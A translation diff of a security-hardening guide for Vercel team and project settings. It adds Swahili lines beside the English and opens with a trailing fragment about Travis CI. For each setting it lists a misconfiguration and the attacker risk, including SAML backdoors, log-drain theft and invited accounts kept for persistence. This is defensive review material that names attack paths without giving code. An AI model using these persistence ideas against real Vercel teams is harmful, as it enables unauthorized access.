2. Uunganisho kwa baadhi ya vipengele vya Travis CI Core Services - angalia [Kuweka Worker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) kwa maelezo zaidi.
The amount of deployed TCI Worker and build environment OS images will determine the total concurrent capacity of Travis CI Enterprise deployment in your infrastructure.
Kiasi cha TCI Worker na picha za mazingira ya ujenzi zilizopelekwa kitaamua uwezo wa jumla wa sambamba wa kupeleka Travis CI Enterprise katika miundombinu yako.
![](<../../images/image (199).png>)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -4,160 +4,160 @@
## Basic Information
In Vercel a **Team** is the complete **environment** that belongs a client and a **project** is an **application**.
Katika Vercel, **Team** ni **environment** kamili inayomilikiwa na mteja na **project** ni **application**.
For a hardening review of **Vercel** you need to ask for a user with **Viewer role permission** or at least **Project viewer permission over the projects** to check (in case you only need to check the projects and not the Team configuration also).
Kwa ajili ya ukaguzi wa kuimarisha wa **Vercel**, unahitaji kuomba mtumiaji mwenye **Viewer role permission** au angalau **Project viewer permission over the projects** ili kuangalia (ikiwa unahitaji tu kuangalia miradi na si usanidi wa Team pia).
## Project Settings
### General
**Purpose:** Manage fundamental project settings such as project name, framework, and build configurations.
**Purpose:** Kusimamia mipangilio ya msingi ya mradi kama vile jina la mradi, mfumo, na mipangilio ya kujenga.
#### Security Configurations:
- **Transfer**
- **Misconfiguration:** Allows to transfer the project to another team
- **Risk:** An attacker could steal the project
- **Misconfiguration:** Inaruhusu kuhamasisha mradi kwa timu nyingine
- **Risk:** Mshambuliaji anaweza kuiba mradi
- **Delete Project**
- **Misconfiguration:** Allows to delete the project
- **Risk:** Delete the prject
- **Misconfiguration:** Inaruhusu kufuta mradi&#x20;
- **Risk:** Futa mradi
---
### Domains
**Purpose:** Manage custom domains, DNS settings, and SSL configurations.
**Purpose:** Kusimamia majina ya kikoa maalum, mipangilio ya DNS, na mipangilio ya SSL.
#### Security Configurations:
- **DNS Configuration Errors**
- **Misconfiguration:** Incorrect DNS records (A, CNAME) pointing to malicious servers.
- **Risk:** Domain hijacking, traffic interception, and phishing attacks.
- **Misconfiguration:** Rekodi za DNS zisizo sahihi (A, CNAME) zinazoelekeza kwenye seva za uhalifu.
- **Risk:** Hijacking ya kikoa, kukamata trafiki, na mashambulizi ya phishing.
- **SSL/TLS Certificate Management**
- **Misconfiguration:** Using weak or expired SSL/TLS certificates.
- **Risk:** Vulnerable to man-in-the-middle (MITM) attacks, compromising data integrity and confidentiality.
- **Misconfiguration:** Kutumia vyeti dhaifu au vilivyokwisha muda wa SSL/TLS.
- **Risk:** Kuwa hatarini kwa mashambulizi ya mtu katikati (MITM), kuathiri uaminifu wa data na faragha.
- **DNSSEC Implementation**
- **Misconfiguration:** Failing to enable DNSSEC or incorrect DNSSEC settings.
- **Risk:** Increased susceptibility to DNS spoofing and cache poisoning attacks.
- **Misconfiguration:** Kukosa kuwezesha DNSSEC au mipangilio isiyo sahihi ya DNSSEC.
- **Risk:** Kuongezeka kwa uwezekano wa DNS spoofing na mashambulizi ya cache poisoning.
- **Environment used per domain**
- **Misconfiguration:** Change the environment used by the domain in production.
- **Risk:** Expose potential secrets or functionalities taht shouldn't be available in production.
- **Misconfiguration:** Kubadilisha mazingira yanayotumika na kikoa katika uzalishaji.
- **Risk:** Kufichua siri au kazi zinazoweza kuwa hazipatikani katika uzalishaji.
---
### Environments
**Purpose:** Define different environments (Development, Preview, Production) with specific settings and variables.
**Purpose:** Muelekeo wa mazingira tofauti (Development, Preview, Production) na mipangilio na vigezo maalum.
#### Security Configurations:
- **Environment Isolation**
- **Misconfiguration:** Sharing environment variables across environments.
- **Risk:** Leakage of production secrets into development or preview environments, increasing exposure.
- **Misconfiguration:** Kushiriki vigezo vya mazingira kati ya mazingira.
- **Risk:** Kuenea kwa siri za uzalishaji katika mazingira ya maendeleo au mapitio, kuongezeka kwa kufichuliwa.
- **Access to Sensitive Environments**
- **Misconfiguration:** Allowing broad access to production environments.
- **Risk:** Unauthorized changes or access to live applications, leading to potential downtimes or data breaches.
- **Misconfiguration:** Kuruhusu ufikiaji mpana kwa mazingira ya uzalishaji.
- **Risk:** Mabadiliko yasiyoidhinishwa au ufikiaji wa maombi ya moja kwa moja, kupelekea uwezekano wa kushindwa au uvunjaji wa data.
---
### Environment Variables
**Purpose:** Manage environment-specific variables and secrets used by the application.
**Purpose:** Kusimamia vigezo maalum vya mazingira na siri zinazotumika na application.
#### Security Configurations:
- **Exposing Sensitive Variables**
- **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side.
- **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches.
- **Misconfiguration:** Kuongeza awali kwa vigezo nyeti kwa `NEXT_PUBLIC_`, na kuifanya iweze kupatikana upande wa mteja.
- **Risk:** Kufichua funguo za API, akidi za database, au data nyingine nyeti kwa umma, kupelekea uvunjaji wa data.
- **Sensitive disabled**
- **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets.
- **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
- **Misconfiguration:** Ikiwa imezimwa (kawaida) inawezekana kusoma thamani za siri zilizozalishwa.
- **Risk:** Kuongezeka kwa uwezekano wa kufichuliwa kwa bahati mbaya au ufikiaji usioidhinishwa wa taarifa nyeti.
- **Shared Environment Variables**
- **Misconfiguration:** These are env variables set at Team level and could also contain sensitive information.
- **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
- **Misconfiguration:** Hizi ni vigezo vya mazingira vilivyowekwa katika kiwango cha Team na vinaweza pia kuwa na taarifa nyeti.
- **Risk:** Kuongezeka kwa uwezekano wa kufichuliwa kwa bahati mbaya au ufikiaji usioidhinishwa wa taarifa nyeti.
---
### Git
**Purpose:** Configure Git repository integrations, branch protections, and deployment triggers.
**Purpose:** Kuunda mipangilio ya Git repository, ulinzi wa matawi, na vichocheo vya kutekeleza.
#### Security Configurations:
- **Ignored Build Step (TODO)**
- **Misconfiguration:** It looks like this option allows to configure a bash script/commands that will be executed when a new commit is pushed in Github, which could allow RCE.
- **Risk:** TBD
- **Misconfiguration:** Inaonekana kama chaguo hili linaruhusu kuunda script/maagizo ya bash ambayo yatatekelezwa wakati commit mpya inasukumwa katika Github, ambayo inaweza kuruhusu RCE.
- **Risk:** TBD
---
### Integrations
**Purpose:** Connect third-party services and tools to enhance project functionalities.
**Purpose:** Kuunganisha huduma na zana za upande wa tatu ili kuboresha kazi za mradi.
#### Security Configurations:
- **Insecure Third-Party Integrations**
- **Misconfiguration:** Integrating with untrusted or insecure third-party services.
- **Risk:** Introduction of vulnerabilities, data leaks, or backdoors through compromised integrations.
- **Misconfiguration:** Kuunganisha na huduma za upande wa tatu zisizoaminika au zisizo salama.
- **Risk:** Kuanzisha udhaifu, uvujaji wa data, au milango ya nyuma kupitia uunganisho ulioathirika.
- **Over-Permissioned Integrations**
- **Misconfiguration:** Granting excessive permissions to integrated services.
- **Risk:** Unauthorized access to project resources, data manipulation, or service disruptions.
- **Misconfiguration:** Kutoa ruhusa nyingi kwa huduma zilizounganishwa.
- **Risk:** Ufikiaji usioidhinishwa wa rasilimali za mradi, urekebishaji wa data, au usumbufu wa huduma.
- **Lack of Integration Monitoring**
- **Misconfiguration:** Failing to monitor and audit third-party integrations.
- **Risk:** Delayed detection of compromised integrations, increasing the potential impact of security breaches.
- **Misconfiguration:** Kukosa kufuatilia na kukagua uunganisho wa upande wa tatu.
- **Risk:** Ugunduzi wa kuchelewa wa uunganisho ulioathirika, kuongezeka kwa athari za uvunjaji wa usalama.
---
### Deployment Protection
**Purpose:** Secure deployments through various protection mechanisms, controlling who can access and deploy to your environments.
**Purpose:** Kulinda kutekeleza kupitia mitambo mbalimbali ya ulinzi, kudhibiti nani anaweza kufikia na kutekeleza katika mazingira yako.
#### Security Configurations:
**Vercel Authentication**
- **Misconfiguration:** Disabling authentication or not enforcing team member checks.
- **Risk:** Unauthorized users can access deployments, leading to data breaches or application misuse.
- **Misconfiguration:** Kuzima uthibitisho au kutotekeleza ukaguzi wa wanachama wa timu.
- **Risk:** Watumiaji wasioidhinishwa wanaweza kufikia kutekeleza, kupelekea uvunjaji wa data au matumizi mabaya ya application.
**Protection Bypass for Automation**
- **Misconfiguration:** Exposing the bypass secret publicly or using weak secrets.
- **Risk:** Attackers can bypass deployment protections, accessing and manipulating protected deployments.
- **Misconfiguration:** Kufichua siri ya bypass hadharani au kutumia siri dhaifu.
- **Risk:** Wavamizi wanaweza kupita ulinzi wa kutekeleza, kufikia na kubadilisha kutekeleza kulindwa.
**Shareable Links**
- **Misconfiguration:** Sharing links indiscriminately or failing to revoke outdated links.
- **Risk:** Unauthorized access to protected deployments, bypassing authentication and IP restrictions.
- **Misconfiguration:** Kushiriki viungo bila kuchuja au kukosa kufuta viungo vya zamani.
- **Risk:** Ufikiaji usioidhinishwa wa kutekeleza kulindwa, kupita uthibitisho na vizuizi vya IP.
**OPTIONS Allowlist**
- **Misconfiguration:** Allowlisting overly broad paths or sensitive endpoints.
- **Risk:** Attackers can exploit unprotected paths to perform unauthorized actions or bypass security checks.
- **Misconfiguration:** Kuruhusu njia pana sana au mwisho wa nyeti.
- **Risk:** Wavamizi wanaweza kutumia njia zisizo salama kufanya vitendo visivyoidhinishwa au kupita ukaguzi wa usalama.
**Password Protection**
- **Misconfiguration:** Using weak passwords or sharing them insecurely.
- **Risk:** Unauthorized access to deployments if passwords are guessed or leaked.
- **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month.
- **Misconfiguration:** Kutumia nywila dhaifu au kuzishiriki kwa njia isiyo salama.
- **Risk:** Ufikiaji usioidhinishwa wa kutekeleza ikiwa nywila zitakisiwa au kufichuliwa.
- **Note:** Inapatikana kwenye mpango wa **Pro** kama sehemu ya **Advanced Deployment Protection** kwa $150/ mwezi zaidi.
**Deployment Protection Exceptions**
- **Misconfiguration:** Adding production or sensitive domains to the exception list inadvertently.
- **Risk:** Exposure of critical deployments to the public, leading to data leaks or unauthorized access.
- **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month.
- **Misconfiguration:** Kuongeza kikoa cha uzalishaji au nyeti kwenye orodha ya visingizio bila kukusudia.
- **Risk:** Kufichua kutekeleza muhimu kwa umma, kupelekea uvujaji wa data au ufikiaji usioidhinishwa.
- **Note:** Inapatikana kwenye mpango wa **Pro** kama sehemu ya **Advanced Deployment Protection** kwa $150/ mwezi zaidi.
**Trusted IPs**
- **Misconfiguration:** Incorrectly specifying IP addresses or CIDR ranges.
- **Risk:** Legitimate users being blocked or unauthorized IPs gaining access.
- **Note:** Available on the **Enterprise** plan.
- **Misconfiguration:** Kuweka vibaya anwani za IP au anuwai za CIDR.
- **Risk:** Watumiaji halali kuzuia au IP zisizoidhinishwa kupata ufikiaji.
- **Note:** Inapatikana kwenye mpango wa **Enterprise**.
---
### Functions
**Purpose:** Configure serverless functions, including runtime settings, memory allocation, and security policies.
**Purpose:** Kuunda mipangilio ya kazi zisizo na seva, ikiwa ni pamoja na mipangilio ya wakati, ugawaji wa kumbukumbu, na sera za usalama.
#### Security Configurations:
@@ -167,81 +167,81 @@ For a hardening review of **Vercel** you need to ask for a user with **Viewer ro
### Data Cache
**Purpose:** Manage caching strategies and settings to optimize performance and control data storage.
**Purpose:** Kusimamia mikakati na mipangilio ya caching ili kuboresha utendaji na kudhibiti uhifadhi wa data.
#### Security Configurations:
- **Purge Cache**
- **Misconfiguration:** It allows to delete all the cache.
- **Risk:** Unauthorized users deleting the cache leading to a potential DoS.
- **Misconfiguration:** Inaruhusu kufuta cache yote.
- **Risk:** Watumiaji wasioidhinishwa wakifuta cache kupelekea uwezekano wa DoS.
---
### Cron Jobs
**Purpose:** Schedule automated tasks and scripts to run at specified intervals.
**Purpose:** Kuunda kazi za kiotomatiki na scripts kuendesha kwa vipindi vilivyotajwa.
#### Security Configurations:
- **Disable Cron Job**
- **Misconfiguration:** It allows to disable cron jobs declared inside the code
- **Risk:** Potential interruption of the service (depending on what the cron jobs were meant for)
- **Misconfiguration:** Inaruhusu kuzima kazi za cron zilizotangazwa ndani ya msimbo
- **Risk:** Ukatishaji wa huduma (kutegemea kazi za cron zilikuwa na kusudi gani)
---
### Log Drains
**Purpose:** Configure external logging services to capture and store application logs for monitoring and auditing.
**Purpose:** Kuunda huduma za nje za kuandika ili kukamata na kuhifadhi kumbukumbu za application kwa ajili ya kufuatilia na kukagua.
#### Security Configurations:
- Nothing (managed from teams settings)
- Nothing (inayosimamiwa kutoka mipangilio ya timu)
---
### Security
**Purpose:** Central hub for various security-related settings affecting project access, source protection, and more.
**Purpose:** Kituo cha kati kwa mipangilio mbalimbali zinazohusiana na usalama zinazoathiri ufikiaji wa mradi, ulinzi wa chanzo, na zaidi.
#### Security Configurations:
**Build Logs and Source Protection**
- **Misconfiguration:** Disabling protection or exposing `/logs` and `/src` paths publicly.
- **Risk:** Unauthorized access to build logs and source code, leading to information leaks and potential exploitation of vulnerabilities.
- **Misconfiguration:** Kuzima ulinzi au kufichua njia za `/logs` na `/src` hadharani.
- **Risk:** Ufikiaji usioidhinishwa wa kumbukumbu za kujenga na msimbo wa chanzo, kupelekea uvujaji wa taarifa na uwezekano wa kutumia udhaifu.
**Git Fork Protection**
- **Misconfiguration:** Allowing unauthorized pull requests without proper reviews.
- **Risk:** Malicious code can be merged into the codebase, introducing vulnerabilities or backdoors.
- **Misconfiguration:** Kuruhusu ombi la kuvuta lisiloidhinishwa bila ukaguzi sahihi.
- **Risk:** Msimbo mbaya unaweza kuunganishwa kwenye msingi wa msimbo, kuanzisha udhaifu au milango ya nyuma.
**Secure Backend Access with OIDC Federation**
- **Misconfiguration:** Incorrectly setting up OIDC parameters or using insecure issuer URLs.
- **Risk:** Unauthorized access to backend services through flawed authentication flows.
- **Misconfiguration:** Kuweka vibaya vigezo vya OIDC au kutumia URL zisizo salama za mtoaji.
- **Risk:** Ufikiaji usioidhinishwa wa huduma za nyuma kupitia mchakato wa uthibitishaji ulio na kasoro.
**Deployment Retention Policy**
- **Misconfiguration:** Setting retention periods too short (losing deployment history) or too long (unnecessary data retention).
- **Risk:** Inability to perform rollbacks when needed or increased risk of data exposure from old deployments.
- **Misconfiguration:** Kuweka vipindi vya uhifadhi kuwa vifupi sana (kupoteza historia ya kutekeleza) au virefu sana (uhifadhi wa data usio wa lazima).
- **Risk:** Kutokuweza kufanya kurudi nyuma inapohitajika au kuongezeka kwa hatari ya kufichuliwa kwa data kutoka kwa kutekeleza zamani.
**Recently Deleted Deployments**
- **Misconfiguration:** Not monitoring deleted deployments or relying solely on automated deletions.
- **Risk:** Loss of critical deployment history, hindering audits and rollbacks.
- **Misconfiguration:** Kutokufuatilia kutekeleza zilizofutwa au kutegemea tu kufutwa kwa kiotomatiki.
- **Risk:** Kupoteza historia muhimu ya kutekeleza, kuzuia ukaguzi na kurudi nyuma.
---
### Advanced
**Purpose:** Access to additional project settings for fine-tuning configurations and enhancing security.
**Purpose:** Ufikiaji wa mipangilio ya ziada ya mradi kwa ajili ya kuboresha mipangilio na kuimarisha usalama.
#### Security Configurations:
**Directory Listing**
- **Misconfiguration:** Enabling directory listing allows users to view directory contents without an index file.
- **Risk:** Exposure of sensitive files, application structure, and potential entry points for attacks.
- **Misconfiguration:** Kuwezesha orodha ya saraka kunaruhusu watumiaji kuona maudhui ya saraka bila faili ya index.
- **Risk:** Kufichua faili nyeti, muundo wa application, na maeneo yanayoweza kuwa na hatari kwa mashambulizi.
---
@@ -253,13 +253,13 @@ For a hardening review of **Vercel** you need to ask for a user with **Viewer ro
**Enable Attack Challenge Mode**
- **Misconfiguration:** Enabling this improves the defenses of the web application against DoS but at the cost of usability
- **Risk:** Potential user experience problems.
- **Misconfiguration:** Kuwezesha hii kunaboresha ulinzi wa application ya wavuti dhidi ya DoS lakini kwa gharama ya matumizi
- **Risk:** Matatizo ya uwezekano wa uzoefu wa mtumiaji.
### Custom Rules & IP Blocking
- **Misconfiguration:** Allows to unblock/block traffic
- **Risk:** Potential DoS allowing malicious traffic or blocking benign traffic
- **Misconfiguration:** Inaruhusu kuzuia/kufungua trafiki
- **Risk:** Uwezekano wa DoS ukiruhusu trafiki ya uhalifu au kuzuia trafiki ya halali
---
@@ -267,13 +267,13 @@ For a hardening review of **Vercel** you need to ask for a user with **Viewer ro
### Source
- **Misconfiguration:** Allows access to read the complete source code of the application
- **Risk:** Potential exposure of sensitive information
- **Misconfiguration:** Inaruhusu ufikiaji wa kusoma msimbo kamili wa application
- **Risk:** Uwezekano wa kufichuliwa kwa taarifa nyeti
### Skew Protection
- **Misconfiguration:** This protection ensures the client and server application are always using the same version so there is no desynchronizations were the client uses a different version from the server and therefore they don't understand each other.
- **Risk:** Disabling this (if enabled) could cause DoS problems in new deployments in the future
- **Misconfiguration:** Ulinzi huu unahakikisha kwamba application ya mteja na seva kila wakati inatumia toleo sawa ili kusiwe na kutokuelewana ambapo mteja anatumia toleo tofauti na seva na hivyo hawaelewani.
- **Risk:** Kuzima hii (ikiwa imewezeshwa) kunaweza kusababisha matatizo ya DoS katika kutekeleza mpya siku zijazo
---
@@ -284,11 +284,11 @@ For a hardening review of **Vercel** you need to ask for a user with **Viewer ro
#### Security Configurations:
- **Transfer**
- **Misconfiguration:** Allows to transfer all the projects to another team
- **Risk:** An attacker could steal the projects
- **Misconfiguration:** Inaruhusu kuhamasisha miradi yote kwa timu nyingine
- **Risk:** Mshambuliaji anaweza kuiba miradi
- **Delete Project**
- **Misconfiguration:** Allows to delete the team with all the projects
- **Risk:** Delete the projects
- **Misconfiguration:** Inaruhusu kufuta timu na miradi yote&#x20;
- **Risk:** Futa miradi
---
@@ -297,8 +297,8 @@ For a hardening review of **Vercel** you need to ask for a user with **Viewer ro
#### Security Configurations:
- **Speed Insights Cost Limit**
- **Misconfiguration:** An attacker could increase this number
- **Risk:** Increased costs
- **Misconfiguration:** Mshambuliaji anaweza kuongeza nambari hii
- **Risk:** Kuongezeka kwa gharama
---
@@ -307,25 +307,25 @@ For a hardening review of **Vercel** you need to ask for a user with **Viewer ro
#### Security Configurations:
- **Add members**
- **Misconfiguration:** An attacker could maintain persitence inviting an account he control
- **Risk:** Attacker persistence
- **Misconfiguration:** Mshambuliaji anaweza kudumisha kudumu kwa kumwalika akaunti anayoidhibiti
- **Risk:** Kudumu kwa mshambuliaji
- **Roles**
- **Misconfiguration:** Granting too many permissions to people that doesn't need it increases the risk of the vercel configuration. Check all the possible roles in [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)
- **Risk**: Increate the exposure of the Vercel Team
- **Misconfiguration:** Kutoa ruhusa nyingi kwa watu wasiohitaji huongeza hatari ya usanidi wa vercel. Angalia majukumu yote yanayowezekana katika [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)
- **Risk**: Kuongeza kufichuliwa kwa Vercel Team
---
### Access Groups
An **Access Group** in Vercel is a collection of projects and team members with predefined role assignments, enabling centralized and streamlined access management across multiple projects.
**Access Group** katika Vercel ni mkusanyiko wa miradi na wanachama wa timu wenye ugawaji wa majukumu yaliyowekwa, kuruhusu usimamizi wa ufikiaji wa kati na wa haraka kati ya miradi mingi.
**Potential Misconfigurations:**
- **Over-Permissioning Members:** Assigning roles with more permissions than necessary, leading to unauthorized access or actions.
- **Improper Role Assignments:** Incorrectly assigning roles that do not align with team members' responsibilities, causing privilege escalation.
- **Lack of Project Segregation:** Failing to separate sensitive projects, allowing broader access than intended.
- **Insufficient Group Management:** Not regularly reviewing or updating Access Groups, resulting in outdated or inappropriate access permissions.
- **Inconsistent Role Definitions:** Using inconsistent or unclear role definitions across different Access Groups, leading to confusion and security gaps.
- **Over-Permissioning Members:** Kutoa majukumu yenye ruhusa zaidi ya zinazohitajika, kupelekea ufikiaji au vitendo visivyoidhinishwa.
- **Improper Role Assignments:** Kutoa majukumu yasiyo sahihi ambayo hayakidhi majukumu ya wanachama wa timu, kupelekea kupanda kwa ruhusa.
- **Lack of Project Segregation:** Kukosa kutenganisha miradi nyeti, kuruhusu ufikiaji mpana zaidi kuliko ilivyokusudiwa.
- **Insufficient Group Management:** Kutokufanya ukaguzi au kusasisha Access Groups mara kwa mara, kupelekea ruhusa za ufikiaji zisizofaa au za zamani.
- **Inconsistent Role Definitions:** Kutumia ufafanuzi wa majukumu usio sawa au usio wazi kati ya Access Groups tofauti, kupelekea mkanganyiko na mapengo ya usalama.
---
@@ -334,8 +334,8 @@ An **Access Group** in Vercel is a collection of projects and team members with
#### Security Configurations:
- **Log Drains to third parties:**
- **Misconfiguration:** An attacker could configure a Log Drain to steal the logs
- **Risk:** Partial persistence
- **Misconfiguration:** Mshambuliaji anaweza kuunda Log Drain ili kuiba kumbukumbu
- **Risk:** Kudumu kwa sehemu
---
@@ -343,98 +343,95 @@ An **Access Group** in Vercel is a collection of projects and team members with
#### Security Configurations:
- **Team Email Domain:** When configured, this setting automatically invites Vercel Personal Accounts with email addresses ending in the specified domain (e.g., `mydomain.com`) to join your team upon signup and on the dashboard.
- **Misconfiguration:**
- Specifying the wrong email domain or a misspelled domain in the Team Email Domain setting.
- Using a common email domain (e.g., `gmail.com`, `hotmail.com`) instead of a company-specific domain.
- **Risks:**
- **Unauthorized Access:** Users with email addresses from unintended domains may receive invitations to join your team.
- **Data Exposure:** Potential exposure of sensitive project information to unauthorized individuals.
- **Protected Git Scopes:** Allows you to add up to 5 Git scopes to your team to prevent other Vercel teams from deploying repositories from the protected scope. Multiple teams can specify the same scope, allowing both teams access.
- **Misconfiguration:** Not adding critical Git scopes to the protected list.
- **Team Email Domain:** Wakati imewekwa, mipangilio hii inawakaribisha moja kwa moja Akaunti za Kibinafsi za Vercel zenye anwani za barua pepe zinazomalizika na kikoa kilichotajwa (kwa mfano, `mydomain.com`) kujiunga na timu yako wakati wa kujiandikisha na kwenye dashibodi.
- **Misconfiguration:**&#x20;
- Kuweka kikoa kibaya cha barua pepe au kikoa kilichokosewa katika mipangilio ya Team Email Domain.
- Kutumia kikoa cha barua pepe cha kawaida (kwa mfano, `gmail.com`, `hotmail.com`) badala ya kikoa maalum cha kampuni.
- **Risks:**
- **Unauthorized Deployments:** Other teams may deploy repositories from your organization's Git scopes without authorization.
- **Intellectual Property Exposure:** Proprietary code could be deployed and accessed outside your team.
- **Environment Variable Policies:** Enforces policies for the creation and editing of the team's environment variables. Specifically, you can enforce that all environment variables are created as **Sensitive Environment Variables**, which can only be decrypted by Vercel's deployment system.
- **Misconfiguration:** Keeping the enforcement of sensitive environment variables disabled.
- **Risks:**
- **Exposure of Secrets:** Environment variables may be viewed or edited by unauthorized team members.
- **Data Breach:** Sensitive information like API keys and credentials could be leaked.
- **Audit Log:** Provides an export of the team's activity for up to the last 90 days. Audit logs help in monitoring and tracking actions performed by team members.
- **Misconfiguration:**\
Granting access to audit logs to unauthorized team members.
- **Risks:**
- **Privacy Violations:** Exposure of sensitive user activities and data.
- **Tampering with Logs:** Malicious actors could alter or delete logs to cover their tracks.
- **SAML Single Sign-On:** Allows customization of SAML authentication and directory syncing for your team, enabling integration with an Identity Provider (IdP) for centralized authentication and user management.
- **Misconfiguration:** An attacker could backdoor the Team setting up SAML parameters such as Entity ID, SSO URL, or certificate fingerprints.
- **Risk:** Maintain persistence
- **IP Address Visibility:** Controls whether IP addresses, which may be considered personal information under certain data protection laws, are displayed in Monitoring queries and Log Drains.
- **Misconfiguration:** Leaving IP address visibility enabled without necessity.
- **Risks:**
- **Privacy Violations:** Non-compliance with data protection regulations like GDPR.
- **Legal Repercussions:** Potential fines and penalties for mishandling personal data.
- **IP Blocking:** Allows the configuration of IP addresses and CIDR ranges that Vercel should block requests from. Blocked requests do not contribute to your billing.
- **Misconfiguration:** Could be abused by an attacker to allow malicious traffic or block legit traffic.
- **Risks:**
- **Service Denial to Legitimate Users:** Blocking access for valid users or partners.
- **Operational Disruptions:** Loss of service availability for certain regions or clients.
- **Unauthorized Access:** Watumiaji wenye anwani za barua pepe kutoka kikoa kisichokusudiwa wanaweza kupokea mialiko ya kujiunga na timu yako.
- **Data Exposure:** Uwezekano wa kufichuliwa kwa taarifa nyeti za mradi kwa watu wasioidhinishwa.
- **Protected Git Scopes:** Inaruhusu kuongeza hadi 5 Git scopes kwa timu yako ili kuzuia timu nyingine za Vercel kutekeleza hifadhi kutoka kwenye scope iliyo salama. Timu nyingi zinaweza kuweka scope sawa, kuruhusu timu zote mbili kupata ufikiaji.
- **Misconfiguration:** Kutokuweka Git scopes muhimu kwenye orodha ya iliyo salama.
- **Risks:**
- **Unauthorized Deployments:** Timu nyingine zinaweza kutekeleza hifadhi kutoka kwenye Git scopes za shirika lako bila idhini.
- **Intellectual Property Exposure:** Msimbo wa miliki unaweza kutekelezwa na kupatikana nje ya timu yako.
- **Environment Variable Policies:** Inalazimisha sera za kuunda na kuhariri vigezo vya mazingira vya timu. Kwa haswa, unaweza kulazimisha kwamba vigezo vyote vya mazingira vianzishwe kama **Sensitive Environment Variables**, ambavyo vinaweza kufichuliwa tu na mfumo wa kutekeleza wa Vercel.
- **Misconfiguration:** Kuacha kulazimisha vigezo vya mazingira nyeti kuwa kuzima.
- **Risks:**
- **Exposure of Secrets:** Vigezo vya mazingira vinaweza kuonekana au kuhaririwa na wanachama wasioidhinishwa wa timu.
- **Data Breach:** Taarifa nyeti kama funguo za API na akidi zinaweza kufichuliwa.
- **Audit Log:** Inatoa usafirishaji wa shughuli za timu kwa hadi siku 90 zilizopita. Kumbukumbu za ukaguzi husaidia katika kufuatilia na kufuatilia vitendo vilivyofanywa na wanachama wa timu.
- **Misconfiguration:**\
Kutoa ufikiaji wa kumbukumbu za ukaguzi kwa wanachama wasioidhinishwa wa timu.
- **Risks:**
- **Privacy Violations:** Kufichuliwa kwa shughuli na data nyeti za watumiaji.
- **Tampering with Logs:** Watu wabaya wanaweza kubadilisha au kufuta kumbukumbu ili kuficha nyayo zao.
- **SAML Single Sign-On:** Inaruhusu kubadilisha uthibitishaji wa SAML na usawazishaji wa saraka kwa timu yako, kuruhusu uunganisho na Mtoaji wa Kitambulisho (IdP) kwa uthibitishaji wa kati na usimamizi wa watumiaji.
- **Misconfiguration:** Mshambuliaji anaweza kuingiza milango ya nyuma kwenye mipangilio ya timu kwa kuweka vigezo vya SAML kama Entity ID, SSO URL, au alama za vidhibitisho.
- **Risk:** Kudumisha kudumu
- **IP Address Visibility:** Kudhibiti ikiwa anwani za IP, ambazo zinaweza kuzingatiwa kama taarifa binafsi chini ya sheria fulani za ulinzi wa data, zinaonyeshwa katika maswali ya Ufuatiliaji na Log Drains.
- **Misconfiguration:** Kuacha kuonekana kwa anwani za IP bila sababu.
- **Risks:**
- **Privacy Violations:** Kutokufuata kanuni za ulinzi wa data kama GDPR.
- **Legal Repercussions:** Uwezekano wa faini na adhabu kwa kushughulikia data binafsi vibaya.
- **IP Blocking:** Inaruhusu mipangilio ya anwani za IP na anuwai za CIDR ambazo Vercel inapaswa kuzuia maombi kutoka. Maombi yaliyokatazwa hayachangii bili yako.
- **Misconfiguration:** Inaweza kutumiwa vibaya na mshambuliaji kuruhusu trafiki ya uhalifu au kuzuia trafiki halali.
- **Risks:**
- **Service Denial to Legitimate Users:** Kuzuia ufikiaji kwa watumiaji halali au washirika.
- **Operational Disruptions:** Kupoteza upatikanaji wa huduma kwa maeneo fulani au wateja.
---
### Secure Compute
**Vercel Secure Compute** enables secure, private connections between Vercel Functions and backend environments (e.g., databases) by establishing isolated networks with dedicated IP addresses. This eliminates the need to expose backend services publicly, enhancing security, compliance, and privacy.
**Vercel Secure Compute** inaruhusu uhusiano salama, wa faragha kati ya Vercel Functions na mazingira ya nyuma (kwa mfano, databases) kwa kuanzisha mitandao iliyotengwa yenye anwani za IP maalum. Hii inondoa haja ya kufichua huduma za nyuma hadharani, kuimarisha usalama, kufuata sheria, na faragha.
#### **Potential Misconfigurations and Risks**
1. **Incorrect AWS Region Selection**
- **Misconfiguration:** Choosing an AWS region for the Secure Compute network that doesn't match the backend services' region.
- **Risk:** Increased latency, potential data residency compliance issues, and degraded performance.
- **Misconfiguration:** Kuchagua eneo la AWS kwa mtandao wa Secure Compute ambalo halifanani na eneo la huduma za nyuma.
- **Risk:** Kuongezeka kwa ucheleweshaji, matatizo ya kufuata makazi ya data, na utendaji mbovu.
2. **Overlapping CIDR Blocks**
- **Misconfiguration:** Selecting CIDR blocks that overlap with existing VPCs or other networks.
- **Risk:** Network conflicts leading to failed connections, unauthorized access, or data leakage between networks.
- **Misconfiguration:** Kuchagua blocks za CIDR zinazovutana na VPC zilizopo au mitandao mingine.
- **Risk:** Migogoro ya mtandao inayopelekea uhusiano kushindwa, ufikiaji usioidhinishwa, au uvujaji wa data kati ya mitandao.
3. **Improper VPC Peering Configuration**
- **Misconfiguration:** Incorrectly setting up VPC peering (e.g., wrong VPC IDs, incomplete route table updates).
- **Risk:** Unauthorized access to backend infrastructure, failed secure connections, and potential data breaches.
- **Misconfiguration:** Kuweka vibaya VPC peering (kwa mfano, IDs za VPC zisizo sahihi, masasisho yasiyokamilika ya jedwali la njia).
- **Risk:** Ufikiaji usioidhinishwa wa miundombinu ya nyuma, uhusiano salama kushindwa, na uwezekano wa uvunjaji wa data.
4. **Excessive Project Assignments**
- **Misconfiguration:** Assigning multiple projects to a single Secure Compute network without proper isolation.
- **Risk:** Shared IP exposure increases the attack surface, potentially allowing compromised projects to affect others.
- **Misconfiguration:** Kutoa miradi mingi kwa mtandao mmoja wa Secure Compute bila kutengwa ipasavyo.
